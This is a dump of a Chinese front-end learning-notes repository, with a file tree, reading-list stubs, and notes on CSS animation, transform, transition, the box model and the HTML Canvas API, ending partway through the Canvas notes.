├── Books
    ├── ES6标准入门
    │   └── README.md
    ├── README.md
    └── 高程
    │   └── README.md
├── CSS
    ├── Docs
    │   ├── Animation.md
    │   ├── Fixed-width.md
    │   ├── Flex.md
    │   ├── Transform.md
    │   └── Transition.md
    ├── Images
    │   ├── IE-model.webp
    │   └── standard-model.webp
    └── README.md
├── HTML
    ├── Canvas-demos.md
    ├── Canvas.md
    ├── HTML.md
    └── Images
    │   ├── Canvas_default_grid.png
    │   └── Canvas_drawimage.jpg
├── Interview
    ├── FE-interview
    │   ├── README.md
    │   └── img
    │   │   ├── display-adjust.png
    │   │   ├── element-mask.jpg
    │   │   ├── element-size.png
    │   │   ├── sort-compare.png
    │   │   └── tip-box.jpg
    ├── README.md
    ├── WebPack
    │   └── webpack01.md
    └── handbook
    │   ├── css-questions.md
    │   ├── html-questions.md
    │   └── javascript-questions.md
├── JavaScript
    ├── Docs
    │   ├── Ajax.md
    │   ├── ArrowFunction.md
    │   ├── NodeMutiThread.md
    │   ├── debounceAndThrottle.md
    │   ├── deferAsync.md
    │   ├── forInOf.md
    │   └── preventRepeatAjax.md
    ├── Images
    │   └── deferAsync.png
    └── README.md
├── Mobile
    └── README.md
├── Node
    ├── Express.md
    ├── Handlebars.md
    ├── NPM.md
    ├── Note
    │   ├── 全局对象.md
    │   ├── 工具模块.md
    │   └── 文件系统.md
    └── README.md
├── Other
    ├── Algorithm
    │   ├── Image
    │   │   ├── Bubble.gif
    │   │   ├── Insertion.gif
    │   │   ├── Quick.gif
    │   │   └── Selection.gif
    │   └── README.md
    ├── Browser
    │   ├── Cache.md
    │   ├── Engine.md
    │   └── README.md
    ├── Network-protocol
    │   └── READMD.md
    ├── Network-security
    │   └── README.md
    ├── Normalization
    │   ├── README.md
    │   ├── css.md
    │   ├── html.md
    │   ├── javascript.md
    │   ├── markdown.md
    │   └── project.md
    ├── Pattern
    │   └── README.md
    ├── Performance
    │   └── README.md
    ├── RegExp
    │   └── README.md
    └── Theory
    │   └── README.md
├── README.md
├── React
    ├── Docs
    │   ├── Framework.md
    │   ├── ImmutableJS.md
    │   ├── Interview.md
    │   ├── Mobx.md
    │   ├── React-Router.md
    │   ├── React-basic.md
    │   └── Redux.md
    ├── Images
    │   └── lifecycle.jpg
    └── README.md
├── Tools
    ├── Chrome-plugin
    │   └── README.md
    ├── Docs
    │   └── Character-Picture.md
    ├── Git
    │   └── README.md
    ├── Markdown
    │   └── README.md
    └── README.md
├── Vue
    ├── Docs
    │   ├── Config.md
    │   ├── Experience.md
    │   ├── Framework.md
    │   ├── Interview.md
    │   ├── Virtual-dom.md
    │   ├── Vue-Model.md
    │   ├── Vue-Router.md
    │   ├── Vue-advanced.md
    │   ├── Vue-basic.md
    │   └── Vuex.md
    ├── Image
    │   ├── 101.png
    │   ├── 201.png
    │   ├── 202.png
    │   ├── 301.png
    │   ├── 302.png
    │   ├── 401.png
    │   ├── 402.png
    │   ├── 501.png
    │   ├── 502.png
    │   ├── 503.png
    │   ├── 504.png
    │   ├── 601.png
    │   ├── 602.png
    │   ├── 603.png
    │   ├── 701.png
    │   ├── 801.png
    │   ├── 802.png
    │   ├── 803.png
    │   ├── 804.png
    │   └── lifecycle.png
    └── README.md
└── jQuery
    └── README.md


/Books/ES6标准入门/README.md:
--------------------------------------------------------------------------------
1 | 目录一览
2 | 


--------------------------------------------------------------------------------
/Books/README.md:
--------------------------------------------------------------------------------
1 | ## 读书笔记
2 | 
3 | >+ [JavaScript面向对象编程]()
4 | >+ [JavaScript高级程序设计(第3版)](./高程/README.md)
5 | >+ [ES6标准入门（第3版）](./ES6标准入门/README.md)
6 | >+ [数据结构与算法JavaScript描述]()
7 | >+ [深入浅出node]()
8 | >+ [JavaScript框架设计（第2版）]()
9 | 


--------------------------------------------------------------------------------
/Books/高程/README.md:
--------------------------------------------------------------------------------
1 | 目录一览
2 | 


--------------------------------------------------------------------------------
/CSS/Docs/Animation.md:
--------------------------------------------------------------------------------
  1 | # Animation
  2 | 
  3 | CSS animations 使得可以将从一个CSS样式配置转换到另一个CSS样式配置。动画包括两个部分:描述动画的样式规则和用于指定动画开始、结束以及中间点样式的关键帧。
  4 | 
  5 | ## 属性
  6 | 
  7 | > animation-delay
  8 | 
  9 | 设置延时，即从元素加载完成之后到动画序列开始执行的这段时间。
 10 | 
 11 | - `<time>`: 从动画样式应用到元素上到元素开始执行动画的时间差。该值可用单位为秒(s)和毫秒(ms)。
 12 | 
 13 | > animation-direction
 14 | 
 15 | 设置动画在每次运行完后是反向运行还是重新回到开始位置重复运行。
 16 | - normal: 每个动画循环结束，动画重置到起点重新开始，这是默认属性。
 17 | - alternate: 动画交替反向运行，反向运行时，动画按步后退，同时，带时间功能的函数也反向。
 18 | - reverse: 反向运行动画，每周期结束动画由尾到头运行。
 19 | - alternate-reverse: 反向交替， 反向开始交替
 20 | 
 21 | > animation-duration
 22 | 
 23 | 设置动画一个周期的时长。
 24 | 
 25 | - `<time>`: 一个动画周期的时长，单位为秒(s)或者毫秒(ms)，无单位值无效。
 26 | 
 27 | > animation-iteration-count
 28 | 
 29 | 设置动画重复次数， 可以指定infinite无限次重复动画
 30 | - infinite: 无限循环播放动画.
 31 | - `<number>`: 动画播放的次数 不可为负值. 可以用小数定义循环。
 32 | 
 33 | > animation-name
 34 | 
 35 | 指定由@keyframes描述的关键帧名称。
 36 | 
 37 | > animation-play-state
 38 | 
 39 | 允许暂停和恢复动画。
 40 | - running: 当前动画正在运行。
 41 | - paused: 当前动画已被停止。
 42 | 
 43 | > animation-timing-function
 44 | 
 45 | 设置动画速度， 即通过建立加速度曲线，设置动画在关键帧之间是如何变化。
 46 | 
 47 | 常用示例
 48 | ```css
 49 | animation-timing-function: ease;
 50 | animation-timing-function: ease-in;
 51 | animation-timing-function: ease-out;
 52 | animation-timing-function: ease-in-out;
 53 | animation-timing-function: linear;
 54 | animation-timing-function: step-start;
 55 | animation-timing-function: step-end;
 56 | animation-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1);
 57 | ```
 58 | 
 59 | > animation-fill-mode
 60 | 
 61 | 指定动画执行前后如何为目标元素应用样式。
 62 | 
 63 | ## 使用keyframes定义动画序列
 64 | 
 65 | 通过使用@keyframes建立两个或两个以上关键帧来实现。每一个关键帧都描述了动画元素在给定的时间点上应该如何渲染。
 66 | 
 67 | 0%表示动画的第一时刻，100%表示动画的最终时刻。因为这两个时间点十分重要，所以还有特殊的别名：from和to。
 68 | 
 69 | ## 示例
 70 | 
 71 | 简单示例
 72 | ```css
 73 | /* The animation code */
 74 | @keyframes example {
 75 |   from {background-color: red;}
 76 |   to {background-color: yellow;}
 77 | }
 78 | /* The element to apply the animation to */
 79 | div {
 80 |   width: 100px;
 81 |   height: 100px;
 82 |   background-color: red;
 83 |   animation-name: example;
 84 |   animation-duration: 4s;
 85 | }
 86 | ```
 87 | 复杂动画
 88 | ```css
 89 | div {
 90 |   width: 100px;
 91 |   height: 100px;
 92 |   background-color: red;
 93 |   position: relative;
 94 |   /* Standard syntax */
 95 |   animation-name: example;
 96 |   animation-duration: 5s;
 97 |   animation-timing-function: linear;
 98 |   animation-delay: 2s;
 99 |   animation-iteration-count: infinite;
100 |   animation-direction: alternate;
101 | }
102 | /* Standard syntax */
103 | @keyframes example {
104 |   0%   {background-color:red; left:0px; top:0px;}
105 |   25%  {background-color:yellow; left:200px; top:0px;}
106 |   50%  {background-color:blue; left:200px; top:200px;}
107 |   75%  {background-color:green; left:0px; top:200px;}
108 |   100% {background-color:red; left:0px; top:0px;}
109 | }
110 | ```
111 | 
112 | ## 动画事件
113 | 
114 | > 添加动画事件监听器
115 | 
116 | ```js
117 | var e = document.getElementById("watchme");
118 | e.addEventListener("animationstart", listener, false);
119 | e.addEventListener("animationend", listener, false);
120 | e.addEventListener("animationiteration", listener, false);
121 | // 最后设置动画元素的class为slidein，启动动画
122 | e.className = "slidein";
123 | ```
124 | 
125 | > 接收事件
126 | 
127 | ```js
128 | function listener(e) {
129 |   switch(e.type) {
130 |     case "animationstart":
131 |       // do sth
132 |       break;
133 |     case "animationend":
134 |       // do sth
135 |       break;
136 |     case "animationiteration":
137 |       // do sth
138 |       break;
139 |   }
140 | }
141 | ```
142 | 


--------------------------------------------------------------------------------
/CSS/Docs/Fixed-width.md:
--------------------------------------------------------------------------------
1 | # 左边定宽，右边自适应布局
2 | 
3 | http://www.cnblogs.com/wx1993/p/6727653.html
4 | https://juejin.im/entry/594a4810da2f6000679ee138
5 | 
6 | 


--------------------------------------------------------------------------------
/CSS/Docs/Flex.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/CSS/Docs/Flex.md


--------------------------------------------------------------------------------
/CSS/Docs/Transform.md:
--------------------------------------------------------------------------------
 1 | # Transform
 2 | 
 3 | * translate 平移
 4 | * rotate 旋转
 5 | * scale 比例，缩放
 6 | * skew 歪斜
 7 | * matrix 矩阵
 8 | * perspective 远景，透视
 9 | 
10 | ## translate 平移
11 | 
12 | - translate(x,y)
13 | - translate3d(x,y,z)
14 | - translateX(x), translateY(y), translateY(z)
15 | 
16 | 示例：
17 | ```css
18 | transform: translate(50px, 50px);
19 | transform: translateX(50px, 50px);
20 | ```
21 | 
22 | ## rotate 旋转
23 | 
24 | - rotate(angle)	
25 | - rotate3d(x,y,z,angle)
26 | - rotateX(angle), rotateY(angle), rotateZ(angle)
27 | 
28 | 示例：
29 | ```css
30 | transform: rotate(60deg);
31 | transform: rotateX(60deg);
32 | ```
33 | 
34 | ## scale 比例，缩放
35 | 
36 | - scale(x,y)	
37 | - scale3d(x,y,z)
38 | - scaleX(x), scaleY(y), scaleZ(z)
39 | 
40 | 示例：
41 | ```
42 | transform: scale(0.5, 2);
43 | transform: scaleX(3);
44 | ```
45 | 
46 | ## skew 歪斜
47 | 
48 | - skew(x-angle,y-angle)	
49 | - skewX(angle)
50 | 
51 | 示例：
52 | ```css
53 | transform: skew(60deg, 60deg);
54 | transform: skewX(40deg)
55 | ```
56 | 
57 | ## matrix 矩阵
58 | 
59 | - matrix(n,n,n,n,n,n)
60 | 
61 | 示例：
62 | ```css
63 | transform: matrix(0.866,0.5,-0.5,0.866,0,0);
64 | ```
65 | 
66 | ## perspective 远景，透视
67 | 
68 | 
69 | 
70 | 


--------------------------------------------------------------------------------
/CSS/Docs/Transition.md:
--------------------------------------------------------------------------------
  1 | # Transition
  2 | 
  3 | * [属性](#属性)
  4 | * [示例](#示例)
  5 | * [检测过渡是否完成](#检测过渡是否完成)
  6 | 
  7 | [可动画属性列表](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_animated_properties)
  8 | 
  9 | CSS transitions 提供了一种在更改CSS属性时控制动画速度的方法。 其可以让属性变化成为一个持续一段时间的过程，而不是立即生效的。
 10 | 
 11 | ## 属性
 12 | 
 13 | > transition
 14 | 
 15 | ```css
 16 | div {
 17 |   transition: <property> <duration> <timing-function> <delay>;
 18 | }
 19 | ```
 20 | 
 21 | > transition-property
 22 | 
 23 | 指定哪个或哪些 CSS 属性用于过渡。只有指定的属性才会在过渡中发生动画，其它属性仍如通常那样瞬间变化。
 24 | 
 25 | > transition-duration
 26 | 
 27 | 指定过渡的时长。或者为所有属性指定一个值，或者指定多个值，为每个属性指定不同的时长。
 28 | 
 29 | > transition-timing-function
 30 | 
 31 | 指定一个函数，定义属性值怎么变化。多数 timing functions 由四点定义一个 bezier 曲线。
 32 | 
 33 | 此属性有以下可选值：
 34 | - ease - a slow start, then fast, then end slowly (this is default)
 35 | - linear - the same speed from start to end
 36 | - ease-in - a slow start
 37 | - ease-out - a slow end
 38 | - ease-in-out - a slow start and end
 39 | - cubic-bezier(n,n,n,n) - lets you define your own values in a cubic-bezier function
 40 | 
 41 | > transition-delay
 42 | 
 43 | 指定延迟，即属性开始变化时与过渡开始发生时之间的时长。
 44 | 
 45 | ## 示例
 46 | 
 47 | - 简单示例
 48 | ```css
 49 | div {
 50 |   transition: width 2s linear 1s;
 51 | }
 52 | div:hover {
 53 |   width: 300px;
 54 | }
 55 | ```
 56 | 
 57 | - 宽高过渡
 58 | ```css
 59 | div {
 60 |   width: 100px;
 61 |   height: 100px;
 62 |   background: red;
 63 |   transition: width 2s, height 4s;
 64 | }
 65 | div:hover {
 66 |   width: 300px;
 67 |   height: 300px;
 68 | }
 69 | ```
 70 | 
 71 | - Transition + Transform
 72 | ```css
 73 | div {
 74 |   width: 100px;
 75 |   height: 100px;
 76 |   background: red;
 77 |   transition: width 2s, height 2s, transform 2s;
 78 | }
 79 | div:hover {
 80 |   width: 300px;
 81 |   height: 300px;
 82 |   transform: rotate(180deg);
 83 | }
 84 | ```
 85 | 
 86 | ## 检测过渡是否完成
 87 | 
 88 | > transitionend 事件
 89 | 
 90 | ```js
 91 | el.addEventListener("transitionend", updateTransition, true);
 92 | ```
 93 | 
 94 | transitionend 事件提供两个属性:
 95 | 
 96 | - propertyName
 97 | 
 98 | 字符串，指示已完成过渡的属性。
 99 | 
100 | - elapsedTime
101 | 
102 | 浮点数，指示当触发这个事件时过渡已运行的时间（秒）。这个值不受 transition-delay 影响。
103 | 


--------------------------------------------------------------------------------
/CSS/Images/IE-model.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/CSS/Images/IE-model.webp


--------------------------------------------------------------------------------
/CSS/Images/standard-model.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/CSS/Images/standard-model.webp


--------------------------------------------------------------------------------
/CSS/README.md:
--------------------------------------------------------------------------------
 1 | # CSS
 2 | 
 3 | - [盒模型](#盒模型)
 4 | - [获取文档或者元素的宽高](#获取文档或者元素的宽高)
 5 | - [位置 Position]()
 6 | - [Flex 弹性布局（阮一峰）](http://www.ruanyifeng.com/blog/2015/07/flex-grammar.html)
 7 | - [Grid 网格布局](./Docs/Grid.md)
 8 | - [Transform](./Docs/Transform.md)
 9 | - [Transition](./Docs/Transition.md)
10 | - [Animation](./Docs/Animation.md)
11 | - 常见布局
12 |     - [CSS 左边定宽，右边自适应 flex版](https://codepen.io/tibaiwan/pen/JmpPqr)  
13 |     - [CSS 左边自适应高度，右边高度不固定 flex版](https://codepen.io/tibaiwan/pen/GYQRKP)  
14 |     - [CSS 页脚固定在页面最底部](https://codepen.io/tibaiwan/pen/qJxbvO)
15 | - 常用 CSS 效果
16 |     - [导航栏，下划线跟随光标效果](https://codepen.io/tibaiwan/pen/oazVoQ)
17 | 
18 | ## 盒模型
19 | 
20 | > 两者的区别在于 width 的不同，IE盒模型的 width 包括 border、padding
21 | 
22 | ```css
23 |  /*IE模型*/
24 | box-sizing:border-box;
25 | /* 标准模型 */
26 | box-sizing:content-box;
27 | ```
28 | 
29 | <img src="./Images/IE-model.webp" width="600"/>
30 | <img src="./Images/standard-model.webp" width="600"/>
31 | 
32 | ## 获取文档或者元素的宽高
33 | 
34 | ### 获取元素宽高的几种方式
35 | 
36 | - dom.style.width/height 　　这种方式只能取到dom元素内联样式所设置的宽高，也就是说如果该节点的样式是在style标签中或外联的CSS文件中设置的话，通过这种方法是获取不到dom的宽高的。
37 | - dom.currentStyle.width/height 　　这种方式获取的是在页面渲染完成后的结果，就是说不管是哪种方式设置的样式，都能获取到。但这种方式只有IE浏览器支持。
38 | - window.getComputedStyle(dom).width/height 　　这种方式的原理和2是一样的，这个可以兼容更多的浏览器，通用性好一些。
39 | - dom.getBoundingClientRect().width/height 　　这种方式是根据元素在视窗中的绝对位置来获取宽高的
40 | - dom.offsetWidth/offsetHeight 　　最常用的，也是兼容最好的。
41 | 
42 | ### 获取屏幕或者文档相关的宽高
43 | 
44 | - 获取屏幕的高度和宽度（屏幕分辨率）： window.screen.height/width
45 | - 获取屏幕工作区域的高度和宽度（去掉状态栏）： window.screen.availHeight/availWidth
46 | - 网页全文的高度和宽度： document.body.scrollHeight/Width
47 | - 滚动条卷上去的高度和向右卷的宽度： document.body.scrollTop/scrollLeft
48 | - 网页可见区域的高度和宽度（不加边线）： document.body.clientHeight/clientWidth
49 | - 网页可见区域的高度和宽度（加边线）： document.body.offsetHeight/offsetWidth
50 | 
51 | 


--------------------------------------------------------------------------------
/HTML/Canvas-demos.md:
--------------------------------------------------------------------------------
1 | # Canvas Demos
2 | 
3 | - [Canvas 绘制常见图表](https://github.com/tibaiwan/charts)
4 | - [时钟](https://codepen.io/tibaiwan/pen/Jmyawr)
5 | - [静态 饼形图](https://codepen.io/tibaiwan/pen/ZqyGLx?editors=0010)
6 | - [饼形 导航图](https://codepen.io/tibaiwan/pen/KGqpKW)
7 | 


--------------------------------------------------------------------------------
/HTML/Canvas.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | # Canvas 常用知识清单
  5 | 
  6 | [MDN Canvas 教程](https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API)  
  7 | [Canvas Demos](./Canvas-demos.md)
  8 | 
  9 | - [简介](#%E7%AE%80%E4%BB%8B)
 10 | - [栅格](#%E6%A0%85%E6%A0%BC)
 11 | - [绘制图形](#%E7%BB%98%E5%88%B6%E5%9B%BE%E5%BD%A2)
 12 |   - [绘制矩形](#%E7%BB%98%E5%88%B6%E7%9F%A9%E5%BD%A2)
 13 |   - [绘制路径](#%E7%BB%98%E5%88%B6%E8%B7%AF%E5%BE%84)
 14 |   - [二次贝塞尔曲线及三次贝塞尔曲线](#%E4%BA%8C%E6%AC%A1%E8%B4%9D%E5%A1%9E%E5%B0%94%E6%9B%B2%E7%BA%BF%E5%8F%8A%E4%B8%89%E6%AC%A1%E8%B4%9D%E5%A1%9E%E5%B0%94%E6%9B%B2%E7%BA%BF)
 15 |   - [Path2D 对象](#path2d-%E5%AF%B9%E8%B1%A1)
 16 | - [添加样式和颜色](#%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F%E5%92%8C%E9%A2%9C%E8%89%B2)
 17 |   - [色彩 Colors](#%E8%89%B2%E5%BD%A9-colors)
 18 |   - [线型 Line styles](#%E7%BA%BF%E5%9E%8B-line-styles)
 19 |   - [渐变 Gradients](#%E6%B8%90%E5%8F%98-gradients)
 20 |   - [图案样式 Patterns](#%E5%9B%BE%E6%A1%88%E6%A0%B7%E5%BC%8F-patterns)
 21 |   - [阴影 Shadows](#%E9%98%B4%E5%BD%B1-shadows)
 22 | - [绘制文本](#%E7%BB%98%E5%88%B6%E6%96%87%E6%9C%AC)
 23 |   - [绘制方法](#%E7%BB%98%E5%88%B6%E6%96%B9%E6%B3%95)
 24 |   - [有样式的文本](#%E6%9C%89%E6%A0%B7%E5%BC%8F%E7%9A%84%E6%96%87%E6%9C%AC)
 25 |   - [预测量文本宽度](#%E9%A2%84%E6%B5%8B%E9%87%8F%E6%96%87%E6%9C%AC%E5%AE%BD%E5%BA%A6)
 26 | - [使用图片](#%E4%BD%BF%E7%94%A8%E5%9B%BE%E7%89%87)
 27 |   - [绘制图片](#%E7%BB%98%E5%88%B6%E5%9B%BE%E7%89%87)
 28 | - [变形](#%E5%8F%98%E5%BD%A2)
 29 |   - [状态的保存和恢复 Saving and restoring state](#%E7%8A%B6%E6%80%81%E7%9A%84%E4%BF%9D%E5%AD%98%E5%92%8C%E6%81%A2%E5%A4%8D-saving-and-restoring-state)
 30 |   - [移动 Translating](#%E7%A7%BB%E5%8A%A8-translating)
 31 |   - [旋转 Rotating](#%E6%97%8B%E8%BD%AC-rotating)
 32 |   - [缩放 Scaling](#%E7%BC%A9%E6%94%BE-scaling)
 33 |   - [变形 Transforms](#%E5%8F%98%E5%BD%A2-transforms)
 34 | - [合成与裁剪](#%E5%90%88%E6%88%90%E4%B8%8E%E8%A3%81%E5%89%AA)
 35 |   - [组合 Compositing](#%E7%BB%84%E5%90%88-compositing)
 36 |   - [裁切路径](#%E8%A3%81%E5%88%87%E8%B7%AF%E5%BE%84)
 37 | - [基本动画](#%E5%9F%BA%E6%9C%AC%E5%8A%A8%E7%94%BB)
 38 |   - [基本步骤](#%E5%9F%BA%E6%9C%AC%E6%AD%A5%E9%AA%A4)
 39 |   - [操控动画](#%E6%93%8D%E6%8E%A7%E5%8A%A8%E7%94%BB)
 40 | - [像素操作](#%E5%83%8F%E7%B4%A0%E6%93%8D%E4%BD%9C)
 41 |   - [保存图片](#%E4%BF%9D%E5%AD%98%E5%9B%BE%E7%89%87)
 42 | - [点击区域](#%E7%82%B9%E5%87%BB%E5%8C%BA%E5%9F%9F)
 43 | - [canvas 的优化](#canvas-%E7%9A%84%E4%BC%98%E5%8C%96)
 44 | 
 45 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 46 | 
 47 | ## 简介
 48 | 
 49 | `<canvas>` 是 HTML5 新增的元素，可用于通过使用JavaScript中的脚本来绘制图形。  
 50 | `<canvas>` 标签只有两个属性 —— width和height。  
 51 | 当没有设置宽度和高度的时候，canvas会初始化宽度为300像素和高度为150像素。  
 52 | 
 53 | 一个模板骨架
 54 | ```html
 55 | <html>
 56 |   <head>
 57 |     <title>Canvas tutorial</title>
 58 |     <script type="text/javascript">
 59 |       function draw(){
 60 |         var canvas = document.getElementById('tutorial');
 61 |         if (canvas.getContext){
 62 |           var ctx = canvas.getContext('2d');
 63 |           // do sth
 64 |         }
 65 |       }
 66 |     </script>
 67 |     <style type="text/css">
 68 |       canvas { border: 1px solid black; }
 69 |     </style>
 70 |   </head>
 71 |   <body onload="draw();">
 72 |     <canvas id="tutorial" width="150" height="150"></canvas>
 73 |   </body>
 74 | </html>
 75 | ```
 76 | 
 77 | ## 栅格
 78 | 
 79 | 如下图所示，canvas元素默认被网格所覆盖。通常来说网格中的一个单元相当于canvas元素中的一像素。栅格的起点为左上角（坐标为（0,0））。所有元素的位置都相对于原点定位。
 80 | 
 81 | ![grid](./Images/Canvas_default_grid.png)
 82 | 
 83 | ## 绘制图形
 84 | 
 85 | ### 绘制矩形
 86 | 
 87 | - `fillRect(x, y, width, height)` 绘制一个填充的矩形
 88 | - `strokeRect(x, y, width, height)` 绘制一个矩形的边框
 89 | - `rect(x, y, width, height)` 绘制一个左上角坐标为（x,y），宽高为width以及height的矩形。
 90 | - `clearRect(x, y, width, height)` 清除指定矩形区域，让清除部分完全透明。
 91 | 
 92 | ### 绘制路径
 93 | 
 94 | 图形的基本元素是路径。路径是通过不同颜色和宽度的线段或曲线相连形成的不同形状的点的集合。
 95 | 
 96 | 1、首先，你需要创建路径起始点。  
 97 | 2、然后你使用画图命令去画出路径。  
 98 | 3、之后你把路径封闭。  
 99 | 4、一旦路径生成，你就能通过描边或填充路径区域来渲染图形。  
100 | 
101 | 
102 | - `moveTo(x, y)`  将笔触移动到指定的坐标x以及y上
103 | - `lineTo(x, y)` 绘制一条从当前位置到指定x以及y位置的直线。
104 | - `beginPath()` 新建一条路径，生成之后，图形绘制命令被指向到路径上生成路径。
105 | - `closePath()` 闭合路径之后图形绘制命令又重新指向到上下文中。
106 | - `stroke()` 通过线条来绘制图形轮廓。
107 | - `fill()` 通过填充路径的内容区域生成实心的图形。
108 | - `arc(x, y, radius, startAngle, endAngle, anticlockwise)` 画一个以（x,y）为圆心的以radius为半径的圆弧（圆），从startAngle开始到endAngle结束，按照anticlockwise给定的方向（默认为顺时针）来生成。
109 | - `arcTo(x1, y1, x2, y2, radius)` 根据给定的控制点和半径画一段圆弧，再以直线连接两个控制点。
110 | 
111 | 注意：  
112 | 1、调用fill()函数时，所有没有闭合的形状都会自动闭合，但是调用stroke()时不会自动闭合。  
113 | 2、角度与弧度换算公式：弧度=(Math.PI/180)*角度。  
114 | 
115 | ### 二次贝塞尔曲线及三次贝塞尔曲线
116 | 
117 | - `quadraticCurveTo(cp1x, cp1y, x, y)`  
118 | 绘制二次贝塞尔曲线，cp1x,cp1y为一个控制点，x,y为结束点。
119 | - `bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)`  
120 | 绘制三次贝塞尔曲线，cp1x,cp1y为控制点一，cp2x,cp2y为控制点二，x,y为结束点。
121 | 
122 | ### Path2D 对象
123 | 
124 | Path2D 对象用来缓存或记录绘画命令，这样你将能快速地回顾路径。
125 | 
126 | - `new Path2D()` 空的Path对象
127 | - `Path2D.addPath(path [, transform])​` 添加了一条路径到当前路径
128 | 
129 | 代码示例：
130 | ```js
131 | function draw() {
132 |   var canvas = document.getElementById('canvas');
133 |   if (canvas.getContext){
134 |     var ctx = canvas.getContext('2d');
135 | 
136 |     var rectangle = new Path2D();
137 |     rectangle.rect(10, 10, 50, 50);
138 | 
139 |     var circle = new Path2D();
140 |     circle.moveTo(125, 35);
141 |     circle.arc(100, 35, 25, 0, 2 * Math.PI);
142 | 
143 |     ctx.stroke(rectangle);
144 |     ctx.fill(circle);
145 |   }
146 | }
147 | ```
148 | 
149 | ## 添加样式和颜色
150 | 
151 | ### 色彩 Colors
152 | 
153 | - `fillStyle = color` 设置图形的填充颜色。
154 | - `strokeStyle = color` 设置图形轮廓的颜色。
155 | - `globalAlpha = transparencyValue`  设置图形的透明度（0.0~1.0）。
156 | 
157 | ### 线型 Line styles
158 | 
159 | - `lineWidth = value` 设置线条宽度
160 | - `lineCap = type` 设置线条末端样式
161 |   - `butt` 线段末端以方形结束。
162 |   - `round` 线段末端以圆形结束。
163 |   - `square` 线段末端以方形结束，但是增加了一个宽度和线段相同，高度是线段厚度一半的矩形区域。
164 | - `lineJoin = type` 设定线条与线条间接合处的样式。
165 |   - `round` 通过填充一个额外的，圆心在相连部分末端的扇形，绘制拐角的形状。
166 |   - `bevel` 在相连部分的末端填充一个额外的以三角形为底的区域， 每个部分都有各自独立的矩形拐角。
167 |   - `miter` 通过延伸相连部分的外边缘，使其相交于一点，形成一个额外的菱形区域。
168 | - `miterLimit = value` 限制当两条线相交时交接处最大长度；
169 | - `setLineDash(segments)` 设置当前虚线样式。
170 | - `lineDashOffset = value` 设置虚线样式的起始偏移量。
171 | - `getLineDash()` 返回一个包含当前虚线样式，长度为非负偶数的数组。
172 | 
173 | ### 渐变 Gradients
174 | - `createLinearGradient(x1, y1, x2, y2)` 线性渐变，渐变的起点 (x1,y1) 与终点 (x2,y2)
175 | - `createRadialGradient(x1, y1, r1, x2, y2, r2)` 径向渐变，r为半径
176 | - `gradient.addColorStop(position, color)` position 参数必须是一个 0.0 与 1.0 之间的数值，表示渐变中颜色所在的相对位置
177 | 
178 | ### 图案样式 Patterns
179 | 
180 | - `createPattern(image, type)` 创建图案  
181 | `type:` repeat, repeat-x, repeat-y, no-repeat
182 | 
183 | 代码示例：
184 | ```js
185 | var img = new Image();
186 | img.src = 'someimage.png';
187 | // 确认 image 对象已经装载完毕，否则图案无效
188 | img.onload = function(){
189 |   var ptrn = ctx.createPattern(img,'repeat');
190 |   ctx.fillStyle = ptrn;
191 |   ctx.fillRect(0,0,150,150);
192 | }
193 | ```
194 | 
195 | ### 阴影 Shadows
196 | 
197 | - `shadowOffsetX = float` 设定阴影在 X 轴的延伸距离
198 | - `shadowOffsetY = float` 设定阴影在 Y 轴的延伸距离
199 | - `shadowBlur = float` 设定阴影的模糊程度
200 | - `shadowColor = color` 设定阴影颜色效果，默认是全透明的黑色
201 | 
202 | ## 绘制文本
203 | 
204 | ### 绘制方法
205 | 
206 | - `fillText(text, x, y [, maxWidth])` 在指定的(x,y)位置填充指定的文本，绘制的最大宽度是可选的.
207 | - `strokeText(text, x, y [, maxWidth])` 在指定的(x,y)位置绘制文本边框，绘制的最大宽度是可选的.
208 | 
209 | ### 有样式的文本
210 | 
211 | `font = value` 文本的样式，默认的字体是 10px sans-serif。  
212 | `textAlign = value` 文本对齐选项. 可选的值包括：start, end, left, right or center。  
213 | `textBaseline = value` 基线对齐选项. 可选的值包括：top, hanging, middle, alphabetic, ideographic, bottom。  
214 | `direction = value` 文本方向。可能的值包括：ltr, rtl, inherit。
215 | 
216 | ### 预测量文本宽度
217 | 
218 | - `measureText()` 将返回一个 TextMetrics对象的宽度、所在像素。
219 | 
220 | ## 使用图片
221 | 
222 | ### 绘制图片
223 | 
224 | - `drawImage(image, x, y)` 使用 drawImage 方法将图片渲染到 canvas 里。  
225 | - `drawImage(image, x, y, width, height)` 缩放 Scaling，width 和 height，用来控制向canvas画入时应该缩放的大小。  
226 | - `drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)` 切片 Slicing，见图解。
227 | 
228 | ![解析图](./Images/Canvas_drawimage.jpg)
229 | 
230 | ## 变形
231 | 
232 | ### 状态的保存和恢复 Saving and restoring state
233 | 
234 | - `save()` 保存canvas状态到栈中
235 | - `restore()` 恢复上一个canvas状态
236 | 
237 | ### 移动 Translating
238 | 
239 | - `translate(x, y)` x 是左右偏移量，y 是上下偏移量。
240 | 
241 | ### 旋转 Rotating
242 | 
243 | - `rotate(angle)` 旋转的角度(angle)，它是顺时针方向的，以弧度为单位的值。
244 | 
245 | ### 缩放 Scaling
246 | 
247 | - `scale(x, y)` x,y 分别是横轴和纵轴的缩放因子，它们都必须是正值。
248 | 
249 | ### 变形 Transforms
250 | 
251 | - `transform(m11, m12, m21, m22, dx, dy)` 变形矩阵
252 | 
253 | ## 合成与裁剪
254 | 
255 | ### 组合 Compositing
256 | 
257 | - `globalCompositeOperation = type` 设定了在画新图形时采用的遮盖策略。
258 | 
259 | [组合 Compositing](https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial/Compositing)
260 | 
261 | ### 裁切路径
262 | 
